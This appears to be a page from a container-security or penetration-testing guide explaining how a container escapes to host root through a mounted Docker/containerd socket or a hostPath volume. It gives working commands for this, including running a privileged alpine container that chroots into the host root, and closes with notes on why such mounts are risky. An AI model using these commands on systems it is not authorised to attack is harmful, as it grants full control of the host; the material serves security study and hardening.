Exploit what was mounted through¶
Reach the host through a path or a socket the container was deliberately given:
Read what is mounted and what sockets are present
Use the one that speaks to the host
mount | grep -v cgroup
cat /proc/self/mountinfo
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
Example: the container runtime socket¶
A container holding the runtime socket can ask the runtime to start another container, and ask for that one to mount the host root. The result is root on the host, arranged entirely through the intended interface.
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
Without a client installed, the same request goes over the socket directly:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
A host path mounted into the pod does the job without any runtime involvement:
volumes:
- name: host
hostPath:
path: /
chroot /host /bin/sh
Even a narrow mount can be sufficient where it lands somewhere executable, such as a directory read by a scheduler or a unit file directory read by the init system.
Notes¶
Mounting the runtime socket into a container is functionally equivalent to granting root on the host. It is done routinely, for continuous integration runners that build images, for monitoring agents that enumerate containers, and for anything described as needing to see its siblings.
A host path mount is the same conclusion by a shorter route, and it does not need the runtime to cooperate. What matters is where the path lands rather than how much of the filesystem it covers.
The /proc filesystem of the host, mounted in, exposes process memory and command lines for everything running
outside the container, which is often enough without any escape at all.
None of these is a vulnerability in the sense of something to patch. They are choices, made for reasons, recorded in a manifest that somebody approved.